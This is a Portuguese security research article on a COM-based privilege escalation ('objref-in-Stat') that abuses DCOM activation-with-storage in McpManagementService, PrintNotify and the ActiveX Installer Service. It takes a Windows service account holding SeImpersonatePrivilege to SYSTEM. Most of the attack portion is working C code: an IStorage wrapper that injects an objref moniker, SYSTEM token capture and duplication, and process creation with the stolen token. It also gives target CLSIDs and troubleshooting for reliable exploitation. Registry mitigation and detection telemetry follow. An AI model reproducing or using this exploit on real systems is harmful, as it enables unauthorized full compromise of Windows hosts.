← ../ mcpmanagementservice-seimpersonate-system
chu@antisec:~/research$ cat mcpmanagementservice-seimpersonate-system
Objref-in-Stat: exploração de serviços COM em svchost para escalada SeImpersonatePrivilege → SYSTEM
Análise completa do primitivo de ativação-with-storage aplicado ao McpManagementService, da sua generalização por enumeração sistemática de grupos svchost — que revelou dois serviços adicionais exploráveis (CIeAxiInstallerService e PrintNotify) — e da engenharia de execução com o token capturado. Validado em Server 2019, Server 2022, Server 2025 e Windows 11 25H2, incluindo cold-start e sessão 0.
O modelo de exploração e o estado da arte
Contas de serviço no Windows carregam SeImpersonatePrivilege: a
capacidade de assumir o contexto de segurança de quem se conecta a elas. Toda a família
de exploits conhecida como potato explora um único primitivo derivado desse
privilégio:
O primitivo — convencer um processo que já executa como SYSTEM a autenticar-se em um recurso controlado pelo atacante. A impersonação do cliente converte o token recebido em execução de código. As variantes diferem apenas em quem é o SYSTEM atraído e qual recurso ele toca.
As implementações clássicas atraíram o SYSTEM por caminhos distintos: coerção via
spooler MS-RPRN (PrintSpoofer, opnum 65, com o truque de normalização
\\HOST/pipe/PATH), fluxo EFSR, ativação DCOM genérica via OXID/DSA
(GodPotato) e hook SSPI (JuicyPotatoNG). Nas builds modernas, porém, esses caminhos
foram fechados de forma coordenada:
- grupos svchost que expõem classes COM tiveram o
ImpersonationLevelrebaixado para 2 (IDENTIFY) — o grupoprintfoi o primeiro, no 24H2+; - o listener
\pipe\spoolssfoi removido do epmapper nos clientes; - os bindings do fluxo OXID/DSA passaram a ser descartados;
- o EFSR ganhou checagem de autenticação no lado do serviço e aposentou os UUIDs antigos.
A questão de pesquisa que motiva este artigo não é a de contornar cada mitigação
individualmente, e sim a de identificar serviços COM hospedados em svchost que
ainda executem no nível de impersonação padrão (3 = IMPERSONATE) e que aceitem
fluxos de ativação nos quais o serviço processe um objeto marshalado do atacante. A
resposta envolveu duas fases: a implementação do primitivo contra o
McpManagementService (seções 4–7) e a enumeração sistemática dos grupos
svchost, que revelou dois serviços adicionais exploráveis pela mesma receita (seções
8–9).
O critério de vulnerabilidade: impersonação por grupo no Registro
O McpManagementService ("Universal Print Management Service") é um
serviço SYSTEM hospedado em svchost -k McpManagementServiceGroup, com start
type demand, presente por padrão em Server 2022+, Server 2025 e Windows 11
modernos. Sua classe principal está registrada da seguinte forma:
; HKLM\SOFTWARE\Classes\CLSID\{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}
(Default) = Universal Print Management Manager Class
AppID = {C08E4363-9771-4955-A002-09932AE4874B}
; HKLM\SOFTWARE\Classes\AppID\{C08E4363-...}
LocalService = McpManagementService
; HKLM\...\Svchost\McpManagementServiceGroup
→ subkey ImpersonationLevel AUSENTE = nível padrão 3 (IMPERSONATE)
O controle de defesa relevante é a subkey ImpersonationLevel sob o grupo
svchost: quando presente, ela define o teto do token que o serviço recebe dos
clientes; quando ausente, vige o padrão da plataforma (3). Essa é a mesma
política que a Microsoft aplicou ao grupo print — e o critério de
vulnerabilidade desta técnica resume-se a uma linha:
Critério — ausência de
ImpersonationLevelno grupo svchost = SYSTEM alcançável por um chamador comSeImpersonatePrivilege, desde que a classe aceite o fluxo de ativação-with-storage. O valor2reduz o token do callback a IDENTIFY e mata a técnica.
O reconhecimento cabe em três comandos de registro (CLSID → AppID → LocalService → grupo → presença da subkey), reproduzíveis em qualquer host-alvo sem elevação adicional.
Fundamentos DCOM: OBJREF, moniker objref e activation-with-storage
O primitivo se apoia em três mecânicas do DCOM que, isoladas, são comportamento documentado e inofensivo. Esta seção reconstrói cada uma com o nível de detalhe necessário para que o passo a passo da seção 4 seja acompanhado sem lacunas — e fecha com a visão do caminho completo dos dados durante a exploração. Todos os exemplos de bytes e strings a seguir são reais: foram capturados pelo probe da seção 8 durante os runs de validação.
3.1 ORPC: quando um objeto COM atravessa a fronteira do processo
Um objeto COM vive em um processo. Quando outro processo obtém uma referência a ele,
o que atravessa a fronteira não é o objeto — é uma estrutura de wire, o
OBJREF, que descreve onde a interface real está e
qual interface é. O lado remoto recebe um proxy; cada método chamado no
proxy vira uma chamada ORPC que viaja de volta ao processo exportador e executa no
objeto verdadeiro. Duas propriedades importam para a técnica:
- as chamadas ORPC executam no exportador — quem escreveu o objeto escolhe o que acontece quando alguém o toca;
- o nível de impersonação do callback é definido pelo chamador (o QOS da chamada dele) — esse detalhe separa os vetores exploráveis dos inúteis, como a seção 9.1 demonstra.
3.2 A anatomia do OBJREF
O OBJREF de marshaling padrão tem cabeçalho fixo e corpo variável.
Abaixo, os bytes reais do primeiro OBJREF emitido pelo probe nos runs de validação
(antes do base64 que forma o display name):
4d454f57 signature "MEOW" ← assinatura canônica de todo OBJREF 01000000 flags 0x1 = OBJREF_STANDARD 00000000 00000000 c0000000 00000046 iid IID_IUnknown ← a interface marshalada 01000000 00000000 oxid ← identifica o PROCESSO exportador af00dd80 e601abe8 535ecac3 59e28bb5 ipid ← a interface exata, dentro dele 0234 0000 68227c0f 5cb1bcee ad1def88 85006f00 ... saResAddr DUALSTRINGARRAY — binding do OXID resolver do exportador: hostname, IPv4, IPv6, MAC
Campo a campo:
| campo | bytes | papel |
|---|---|---|
| signature | 4 | 0x574F454D — a constante "MEOW", presente em todo OBJREF |
| flags | 4 | formato do corpo: 0x1 standard, 0x2 handler, 0x4 custom |
| IID | 16 | a interface marshalada (no probe: IID_IUnknown) |
| OXID | 8 | identifica o processo exportador — o alvo do bind |
| IPID | 16 | identifica a interface específica dentro do processo exportador |
| string binding | variável | DUALSTRINGARRAY com hostname/endereços do OXID resolver do exportador |
Nota para defesa — o string binding do OBJREF embute o hostname e os endereços de rede de quem exporta. No fluxo da técnica, essa identidade viaja dentro da string que o serviço recebe em
Stat: um serviço que registre o nome resolvido está, sem saber, logando a origem do atacante.
3.3 OXID resolver: como o bind encontra o processo
O OXID, sozinho, é apenas um número. Quem o transforma em conexão é o OXID
resolver: um serviço do RPCSS presente em toda máquina Windows, que mantém a tabela
local de OXID → string binding. Quando um processo resolve um OBJREF, o runtime percorre
três passos: (1) lê o string binding embutido no OBJREF; (2) conecta ao OXID resolver
indicado; (3) troca o OXID/IPID pela localização concreta da interface — no caso de
objetos locais, um canal ALPC direto para o processo exportador. A partir daí, os
métodos chamados no proxy local viram ORPC no exportador. É esse serviço que também
processa os pedidos de ativação — o mesmo RPCSS que recebe o
CoGetInstanceFromIStorage da seção seguinte.
Moniker objref e activation-with-storage
3.4 Moniker objref: o display name como vetor de marshaling
Monikers são o mecanismo do COM para localizar e ativar objetos por nome. O
objref moniker (CreateObjrefMoniker) tem uma propriedade peculiar:
seu GetDisplayName produz uma string no formato
objref:<OBJREF em base64> — o nome é o próprio OBJREF
serializado. O pipeline padrão MkParseDisplayName reconhece o
prefixo objref: e o despacha para o parser que decodifica a carga e
executa o bind exatamente como na seção anterior: conecta-se ao
OXID/IPID e entrega a interface ao chamador. Um exemplo real do probe — a isca completa
que o Stat devolve ao serviço:
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAACvAN2A5gGr6FNeysNZ4ou1AjQA AGgifA9csbzurR3viIUAbwAHAFcASQBOAC0AUgBHAEIAQgBGADAAOQBSAEcASwBCAAAABwAx ADkAMgAuADEANgA4AC4AMAAuADEAOAAwAAAABwAyADgAMAA0ADoAMQA0AGQAOgA3ADgAZAA1 ADoANAA4ADIANwA6AGIAOAAzADIAOgA4ADkAMgBkADoANgBmADEANAA6ADEAOQA0ADkAAAAH... │ prefixo │ base64: MEOW + flags + IID_IUnknown + OXID/IPID + binding │ "objref:"│ (hostname WIN-RGBBF09RGKB e endereços do laboratório, em UTF-16)
3.5 Activation-with-storage: a sequência completa
CoGetInstanceFromIStorage é o contrato do DCOM para "instancie esta
classe e inicialize-a a partir deste storage". O contrato exige que a classe implemente
IPersistStorage ou IPersistFile — e é aí que a porta se
abre: o storage do chamador é marshalado para o servidor, e a inicialização
executa métodos do storage no chamador. A sequência completa:
O nível de impersonação com que essas chamadas chegam depende do QOS que o servidor usou nelas — e é exatamente essa variável que separa os serviços exploráveis dos inúteis, como a seção 9.1 quantifica.
3.6 Montando o primitivo
O caminho dos dados na exploração, com as três mecânicas costuradas:
Com os fundamentos no lugar, os oito passos da implementação (seção 4) são a engenharia de fazer essa sequência acontecer de forma confiável — inclusive em cold-start e sessão 0.
O caminho completo, em onze passos:
1 SeImpersonatePrivilege no processo do atacante ·
2 STA + CoInitializeSecurity (IMPERSONATE) ·
3 wrapper IStorage com 18 slots instrumentados ·
4 CreateObjrefMoniker → isca objref:... ·
5 demand-start (CoCreateInstance) ·
6 CoGetInstanceFromIStorage(wrapper) ·
7 svchost resolve o nome via MkParseDisplayName → OXID/IPID
do atacante ·
8 bind → QI/Release ORPC reentra no atacante ·
9 CoImpersonateClient → token SYSTEM (imp=3) ·
10 NtDuplicateToken → TokenPrimary ·
11 CreateProcessAsUserW →
nt authority\system.
O primitivo objref-in-Stat, passo a passo
A implementação de referência (ferramenta Tabellio, modo mcp, C nativo)
detalha a seguir as decisões de projeto de cada fase da sequência — da configuração do
apartment ao gatilho final.
4.1 Apartment STA e configuração de segurança
hr = CoInitialize(NULL); // STA — obrigatório (§7, armadilha 1)
SOLE_AUTHENTICATION_INFO sai = { RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL };
hr = CoInitializeSecurity(NULL, 1, &sai, NULL,
RPC_C_AUTHN_LEVEL_CONNECT, // CONNECT é suficiente
RPC_C_IMP_LEVEL_IMPERSONATE, // o serviço também pode impersonar o chamador
NULL, EOAC_DYNAMIC_CLOAKING, NULL);
Dois pontos de projeto. O STA é requisito estrutural: os callbacks ORPC
para o wrapper são entregues pela bomba de mensagens do apartment, e é a chamada
bloqueante CoGetInstanceFromIStorage que os bombeia. O
RPC_C_IMP_LEVEL_IMPERSONATE é o nível com que o processo do atacante se
apresenta como cliente COM nas chamadas de saída (com cloaking dinâmico) — os
valores exatos da receita de referência, usados sem alteração em todos os runs de
validação.
4.2 O storage real por baixo do wrapper
CreateILockBytesOnHGlobal(NULL, TRUE, &plb);
StgCreateDocfileOnILockBytes(plb, STGM_CREATE|STGM_READWRITE|STGM_SHARE_EXCLUSIVE, 0, &stg);
Um IStorage real e funcional é criado em memória. Após a captura, o
wrapper repassa todas as operações a ele — o código do serviço prossegue sem erros, sem
comportamento que revele a interceptação.
4.3 O wrapper: 18 slots de vtable, todos instrumentados
IStorage expõe 18 entradas de vtable: IUnknown (0–2),
quatorze métodos específicos (3–16) e Stat (17). O wrapper substitui as
dezoito:
HRESULT mcp_QI(void* self, REFIID riid, void** ppv) {
Capture("QI"); // tenta capturar em todo callback
if (IsIUnknown(riid) || IsIStorage(riid)) { *ppv = self; return S_OK; }
*ppv = NULL;
return E_NOINTERFACE;
}
ULONG mcp_Release(void* self) {
Capture("Release"); // alguns caminhos do serviço só tocam Release
return 1;
}
HRESULT mcp_Stat(void* self, STATSTG* p, DWORD flags) {
Capture("Stat");
if (capturado)
return fwd_real(17, p, flags); // pós-captura: repassa (evita re-bind em loop)
memset(p, 0, sizeof(*p));
p->type = STGTY_STORAGE;
if (!(flags & STATFLAG_NONAME)) {
p->pwcsName = (LPOLESTR)CoTaskMemAlloc((wcslen(g_objref) + 1) * sizeof(WCHAR));
wcscpy(p->pwcsName, g_objref); // ← O GANCHO: nome = objref moniker
}
return S_OK;
}
Três decisões se mostraram necessárias. Primeira: todos os métodos
invocam a rotina de captura — caminhos do serviço tocam
QI/Release sem passar pelo Stat em algumas
sequências. Segunda: Stat injeta o objref uma única vez;
após a captura, repassa ao storage real — a re-injeção pode fazer o serviço re-resolver
o moniker em loop. Terceira: o pwcsName precisa nascer de
CoTaskMemAlloc — o chamador o libera com
CoTaskMemFree, e um alocador diferente produz heap corruption
(0xC0000374) no processo do serviço.
4.4 Criação do objref moniker
CreateObjrefMoniker((IUnknown*)&wrapper, &mon);
CreateBindCtx(0, &ctx);
// GetDisplayName é o slot 20 da vtable de IMoniker
// (IUnknown 3 + IPersist 1 + IPersistStream 4 + 12 métodos de IMoniker)
hr = ((fnGDN)vt[20])(mon, ctx, NULL, &name);
// name = "objref:T...:<OBJREF do wrapper — OXID/IPID do processo do atacante>"
Neste momento o wrapper torna-se exportado: o marshaling interno do
GetDisplayName registra o OXID do processo do atacante na tabela do
resolver local, e o display name passa a conter tudo o que um outro processo precisa
para conectar-se a ele.
4.5 Demand-start
if (SUCCEEDED(CoCreateInstance(&clsid_principal, NULL, CLSCTX_LOCAL_SERVER,
&IID_IUnknown, (void**)&punk))) {
punk->lpVtbl->Release(punk); // ativação simples: apenas acordar o svchost
}
O serviço tem start type demand. Essa ativação inicial existe para que o SCM
o lance via a LaunchPermission do AppID — inclusive em cold-start,
validado com o serviço parado antes de cada execução.
4.6 O gatilho e o fallback de CLSIDs
for (c = 0; c < NCLSIDS && !capturado; c++) {
MULTI_QI qi = { .pIID = &IID_IUnknown };
hr = CoGetInstanceFromIStorage(NULL, &clsids[c], NULL, CLSCTX_LOCAL_SERVER,
(IStorage*)&wrapper, 1, &qi);
for (i = 0; i < 3 && !capturado; i++) Sleep(1000); // janela para o bind orquestrado
}
Do lado do serviço, a sequência reconstruída a partir do comportamento observado: a
ativação chega com o IStorage marshalado; na inicialização-from-storage, o
serviço resolve o nome do storage pelo pipeline de monikers
(MkParseDisplayName); o prefixo objref: roteia para o parser
de objref, que unmarshala o OBJREF embutido — OXID/IPID do processo do atacante — e
executa o bind: chamadas ORPC de QI/Release entregues ao
wrapper, no STA do atacante, com a identidade do svchost. O HRESULT final
da ativação é tipicamente 0x80004002 — irrelevante para o primitivo, pois a
captura ocorre durante o unmarshal, antes do retorno.
O loop tenta múltiplos CLSIDs: a classe principal do grupo e — resultado da enumeração da seção 8 — classes de outros grupos que respondem ao mesmo primitivo. Cada candidato que falha custa até 3 segundos de janela, o que torna a ordem dos candidatos parte do projeto: o primeiro deve ser o de maior taxa de sucesso observada.
Por que funciona em sessão 0, SSH e WinRM — o bind do moniker é ALPC local: o svchost resolve o OXID pelo resolver da própria máquina e conecta ao processo do atacante. Nada no fluxo depende de console, desktop estacionado ou rede. O one-shot completo foi validado via SSH com ambos os processos na sessão 0.
Captura do token SYSTEM no callback
static void Capture(const char* tag) {
if (g_pwned) return; // guard: capturar uma vez só
if (CoImpersonateClient() != S_OK) return; // sem direito de impersonar: fora
hTok = NtOpenThreadToken(GetCurrentThread(), ...); // token do thread ORPC (impersonado)
if (hTok && IsSystemTokenNt(hTok)) { // memcmp dos 12 bytes do SID S-1-5-18
hPrim = NtDuplicateToken(hTok, ..., TokenPrimary, ...);
if (hPrim) { /* primário disponível para execução */ sinaliza(); }
}
if (hTok) NtClose(hTok);
CoRevertToSelf();
}
Os cinco passos e suas justificativas:
CoImpersonateClient— o thread que entrega o ORPC assume o contexto do svchost. Como o grupo permite imp=3, o token sai no nívelSecurityImpersonation: usável localmente para abrir handles e criar processos.NtOpenThreadToken— o token relevante é o de thread (o impersonado), não o de processo (que permanece sendo o do atacante).- Checagem de SID raw —
NtQueryInformationToken(TokenUser)e memcmp dos 12 bytes do SIDS-1-5-18(01 01 00 00 00 00 00 05 12 00 00 00). O nível de impersonação é um teto: se o grupo estiver rebaixado a 2, o callback acontece normalmente, mas o token é de identificação, inútil — a checagem faz o exploit degradar graciosamente em vez de falhar mais adiante. NtDuplicateToken→TokenPrimary— token de impersonação não alimentaCreateProcess*; o primário sim. A duplicação ocorre imediatamente, enquanto o thread ainda está impersonado.- Sinalização e revert — evento desbloqueia o fluxo principal e
CoRevertToSelfdevolve o contexto. O guard evita capturas duplicadas nos callbacks subsequentes.
Execução com o token primário
6.1 CreateProcessWithTokenW não permite herdar handles
| API | bInheritHandles | resultado observado |
|---|---|---|
CreateProcessWithTokenW | TRUE | falha com ERROR_INVALID_PARAMETER (87) — restrição da família |
CreateProcessWithTokenW | FALSE | processo criado, mas o filho não recebe as pontas de pipe do STARTF_USESTDHANDLES → saída perdida (exit 0, silencioso) |
CreateProcessAsUserW | TRUE | processo criado com stdin/stdout herdados → relay completo |
A estratégia resultante: CreateProcessAsUserW(TRUE) como caminho
primário (é o que permite o relay de saída por pipe herdada), com fallback para
CreateProcessWithTokenW(FALSE) — execução sem relay, com coleta por
redirecionamento dentro do comando.
6.2 A corrida de 250 ms no relay
O loop de relay clássico (PeekNamedPipe → sem dado? espera → filho saiu?
break) apresenta uma condição de corrida: um whoami escreve ~20 bytes e
encerra dentro da janela de espera. Ao acordar com
WAIT_OBJECT_0, o loop interrompe sem ler o pipe — a saída
já estava lá e foi descartada. O sintoma característico é "escalou, criou o processo,
exit 0, silencioso". A correção é drenar o pipe após detectar a saída do filho:
else if (WaitForSingleObject(pi.hProcess, 250) == WAIT_OBJECT_0) {
while (PeekNamedPipe(hOutR, 0, 0, 0, &rest, 0) && rest) {
ReadFile(hOutR, buf, sizeof(buf), &n, NULL);
WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, n, &n, NULL);
}
break;
}
A lição registrada: a morte do writer não esvazia o pipe — o estado terminal de um relay precisa incluir um drain.
6.3 Sessão 0 e canais remotos
Via SSH e WinRM, exploit e filho nascem na sessão 0. Nada na cadeia depende de console ou desktop: o bind do moniker é ALPC local, o relay usa pipes anônimas herdadas e a saída sobe pelo canal remoto. Para caminhos sem relay, a prática operacional é redirecionar dentro do próprio comando.
Armadilhas de implementação
| # | armadilha | efeito sem o cuidado |
|---|---|---|
| 1 | Apartment errado — os callbacks ORPC são entregues no STA; a thread que chama CoGetInstanceFromIStorage deve ser a mesma do CoInitialize(NULL) (a ole32 despacha durante o bloqueio interno) | callbacks nunca entregues; captura não dispara; ativação pendurada |
| 2 | pwcsName com alocador errado — o chamador libera com CoTaskMemFree | heap corruption (0xC0000374) no processo do serviço |
| 3 | Re-injetar o objref após a captura — Stat deve repassar ao storage real depois do sucesso | serviço re-resolve o moniker; loop e comportamento errático |
| 4 | CoUninitialize pós-captura — podem existir ORPCs in-flight no apartment | crash no encerramento |
| 5 | Hook apenas no Stat — versões do serviço tocam QI/Release sem passar pelo Stat | captura não dispara em alguns caminhos |
| 6 | Assumir que o callback é SYSTEM — o nível depende do grupo e do contexto da chamada (§9.1); o SID precisa ser checado | duplicar um token de identificação inútil |
| 7 | Duplicar para impersonação em vez de primário — CreateProcess* exige primário | erro 5/1346 na criação do processo |
Enumeração sistemática de grupos svchost
Encerrada a implementação contra o McpManagementService, a pergunta
natural passou a ser de cobertura: quais outros grupos svchost são exploráveis
pelo mesmo primitivo? A resposta foi obtida por enumeração via Registro combinada
com varredura empírica, replicada nas quatro plataformas do laboratório.
8.1 Metodologia
Fase de Registro. Cruzamento de quatro fontes: (1) grupos svchost
(HKLM\...\Svchost); (2) serviços -k executando como
LocalSystem; (3) override de ImpersonationLevel por grupo; (4) classes COM
ligadas a esses serviços (HKCR\AppID\* → LocalService,
HKCR\CLSID\* → AppID). O resultado é a lista de CLSIDs candidatos —
classes SYSTEM em grupos sem teto de impersonação.
Fase empírica. Um probe autônomo aplica o primitivo completo a cada CLSID candidato e reporta, para cada um, se o callback disparou, qual SID foi obtido, em que nível de impersonação e se o token primário é duplicável. A convenção de classificação:
| classe | significado |
|---|---|
cap=1, implvl=2 | callback com token SYSTEM em Impersonation, primário duplicável — vulnerável |
cap=2, implvl=1 | callback com SID SYSTEM mas token em Identification — duplicação falha; sem escalada |
cap=0 | nenhum callback (ativação negada, serviço desabilitado, classe sem suporte ao fluxo) |
8.2 Resultados por plataforma
| plataforma | classes sem override | sondadas | cap=1 (vulneráveis) | cap=2 (IDENTIFY) | cap=0 |
|---|---|---|---|---|---|
| Server 2022 (20348.5622, CUs 09/2026) | 87 em 12 grupos | 87 | 2 | 57 | 28 |
| Server 2025 (26100.32230) | 101 em 16 grupos | 98 | 2 | 72 | 24 |
| Win 11 25H2 (26300.9550) | 111 em 20 grupos | 111 | 2 | 84 | 25 |
| Server 2019 (17763.9245, CUs 10/2026) | 67 em 11 grupos | 67 | 2 | 53 | 12 |
Grupos exclusivos da base desktop apareceram na enumeração da 26300
(IsolationSession, SDRSVC, rdxgroup), e um dado
arquitetural relevante emergiu no 20348: o grupo print não possui
override nessa base (imp=3) — o rebaixamento é específico do 24H2+. O Server 2019 (17763.9245) repetiu o perfil: 67 classes em 11 grupos, print ainda em imp=3 — e sem o McpManagementService (o serviço não existe nessa base).
8.3 Os três vetores
Em todas as plataformas, exatamente dois serviços por build responderam com token SYSTEM em Impersonation. A união dos três cobre todas as bases:
| # | CLSID | grupo / serviço | SYSTEM em |
|---|---|---|---|
| 1 | {A9819296-E5B3-4E67-8226-5E72CE9E1FB7} | McpManagementServiceGroup / McpManagementService | todas as três plataformas |
| 2 | {854A20FB-2D44-457D-992F-EF13785D2B51} | print / PrintNotify | Server 2022 e Server 2019 (no 24H2+ o grupo está rebaixado a 2) |
| 3 | {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8} | AxInstSVGroup / AxInstSv — CIeAxiInstallerService (ActiveX Installer Service) | Server 2025, Win11 25H2 e Server 2019 (apenas no Server 2022 o serviço vem DISABLED — ativação = 0x80070422) |
O PrintNotify é particularmente notável: é a classe do mesmo grupo que a
Microsoft rebaixou no 24H2+ — no Server 2022, onde o grupo permanece em imp=3,
a técnica entrega SYSTEM com prova de execução end-to-end
(nt authority\system via CreateProcessAsUserW). E o AxInstSv,
por sua vez, vem desabilitado por padrão no Server 2022
(START_TYPE: 4 DISABLED) — mas ativo no Server 2019, onde entregou SYSTEM com prova de execução. O comportamento é não-monotônico entre builds: cada base precisa ser mapeada por varredura, não por inferência.
Resultados: execução end-to-end e o padrão IDENTIFY
| alvo | build | vetor | resultado |
|---|---|---|---|
| Server 2022 | 20348.5622 (CUs 09/2026) | McpManagementService (primário) | nt authority\system (one-shot com relay) |
| Server 2022 | 20348.5622 | PrintNotify (probe com prova de execução) | nt authority\system |
| Server 2025 | 26100.32230 | McpManagementService (primário) | nt authority\system |
| Win 11 25H2 | 26300.9550 | McpManagementService (primário) | nt authority\system |
| Win 11 25H2 | 26300.9550 | AxInstSv — CIeAxiInstallerService (probe com prova de execução) | nt authority\system |
| Server 2019 | 17763.9245 | PrintNotify + AxInstSv (probes com prova de execução) | nt authority\system |
Todos os runs incluíram cold-start do serviço alvo, sessão 0 (SSH) e limpeza de artefatos. O exploit de referência itera a lista de candidatos em ordem de custo — classe principal primeiro, alternativas em seguida — e interrompe no primeiro sucesso.
9.1 O padrão IDENTIFY: em que contexto o callback nasce
O achado mais significativo da varredura é o das 53–84 classes por build que disparam o callback com SID SYSTEM mas token em Identification. A explicação está em onde no fluxo do serviço a chamada ao proxy do atacante acontece:
- McpManagementService e AxInstSv: o serviço processa a
ativação-with-storage impersonando o chamador (o atacante — cujo
CoInitializeSecuritydefine IMPERSONATE). As chamadas de saída desse contexto — inclusive o bind do moniker — herdam esse QOS, e os callbacks chegam em Impersonation (2): token utilizável. - Demais serviços: o callback é servido por um thread de trabalho com o QOS default do processo (IDENTIFY). O processo é SYSTEM, mas o token obtido não autoriza nada.
A pergunta de pesquisa refinou-se, portanto, de "o callback acontece?" (em ~75% das classes testadas: sim) para "o callback nasce dentro de um contexto impersonado?" — uma propriedade do caminho de código de cada serviço, atualmente determinável apenas empiricamente. Duas consequências: (a) a execução de código dentro do svchost ocorre mesmo nas classes IDENTIFY — relevante para defesa, pois é execução sem escalada; (b) serviços que alterem seu QOS default ampliam ou fecham sua exposição sem mudança no Registro.
Mitigação e detecção
10.1 Mitigação primária: fechar cada grupo pelo Registro
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\McpManagementServiceGroup" ^
/v ImpersonationLevel /t REG_DWORD /d 2 /f
:: reinicie o serviço (ou a máquina). O teto do callback vira IDENTIFY e a escalada morre.
A recomendação central é a generalização desse controle: auditar todos os
grupos svchost que hospedam classes COM sem override de
ImpersonationLevel. O primitivo descrito não é específico do
McpManagementService — é específico do nível de impersonação, como demonstram os
três vetores das seções 8 e 9. O hardening que a Microsoft aplicou ao grupo
print no 24H2+ é o modelo: um valor de registro por grupo, definitivo.
10.2 Telemetria estrutural
| sinal | fonte | nota |
|---|---|---|
| Service start (EID 7036) de grupos COM sem atividade legítima do aplicativo, seguido de ativação da classe | System log + ETW COM | em hosts sem Universal Print/ActiveX Installer em uso, qualquer start é anômalo |
Processo SYSTEM cujo pai é um processo de conta de serviço (não services.exe), criado via CreateProcessAsUser/WithToken | Sysmon EID 1 (lineage + token) | o filho precisa existir para o atacante colher resultado — o lineage denuncia a origem independentemente do binário |
| Named pipe criada + leitura imediata + spawn encadeado na mesma janela | Sysmon EID 17/18 | genérico; ganha força correlacionado com os sinais acima |
| Ativação de classes COM do grupo por contas de serviço sem histórico de uso | ETW COM / auditoria | o reconhecimento e o gatilho passam pela mesma ativação |
A divisão correta do trabalho — camadas de evasão de binário podem remover strings, GUIDs e imports, mas não podem remover o start do serviço, a ativação da classe nem o processo SYSTEM necessário para o atacante colher resultado. Por isso a defesa eficaz contra esta família é pelo Registro (fechar o grupo) e comportamental (lineage + correlação de ativação), não assinatura de binário.
Conclusões
- Vetores morrem; primitivos permanecem. As mitigações de 2024+ eliminaram as implementações clássicas, mas o primitivo — fazer um serviço SYSTEM impersonar o atacante durante um fluxo COM legítimo — permanece intacto onde o nível de impersonação não foi rebaixado. A enumeração sistemática demonstrou que a exposição não se limita a um serviço: três entregam SYSTEM nas quatro bases testadas, com cobertura combinada de todas.
- A aderência ao contrato do DCOM confere robustez. O primitivo
não explora um bug de memória nem uma corrida do kernel: utiliza
CoGetInstanceFromIStoragecomo documentada, um moniker como documentado e a impersonação como o serviço a pratica. Por isso o mesmo código atravessou três plataformas sem alteração — e por isso a mitigação precisou ser via Registro. - O nível do token é propriedade do contexto do callback. A descoberta de que ~75% das classes COM de svchost respondem ao primitivo — mas com token IDENTIFY — desloca o critério de vulnerabilidade para uma pergunta sobre o caminho de código do serviço: o callback nasce dentro de um contexto impersonado? Prever isso analiticamente é a direção natural da próxima fase.
- A fase de execução esconde armadilhas desproporcionais. A
restrição de herança do
CreateProcessWithTokenW(erro 87), a corrida do drain no relay e a exigência de habilitarSeAssignPrimaryTokenPrivilegeno token impersonado consumiram mais tempo de depuração do que todo o primitivo COM.
O código de referência, os scripts de enumeração e a matriz completa de validação acompanham o artigo no repositório do projeto. A direção futura imediata é a predição analítica dos candidatos (mapear o que determina o contexto impersonado no caminho de ativação de cada classe) e a ampliação da matriz para outras bases e imagens de servidor com papéis específicos (IIS, SQL).
Referências e créditos
- zcgonvh — DCOMPotato: o primitivo de ativação DCOM com objeto do atacante, base do objref-in-Stat
- itm4n — PrintSpoofer e a série sobre
SeImpersonatePrivilege - antonioCoco / splinter_code — JuicyPotatoNG (mesma família, padrão pipe/SSPI)
- Documentação Microsoft:
CoGetInstanceFromIStorage,MkParseDisplayName, objref monikers, estruturaOBJREF, svchost e grupos de serviço, política deImpersonationLevelpor grupo
Artigo técnico de pesquisa de segurança. Uso exclusivo em ambientes autorizados — explorar sistemas de terceiros sem autorização é crime. Implementação de referência: Tabellio v1.7.1, modo
mcp; ferramentas de enumeração e varredura no repositório do projeto.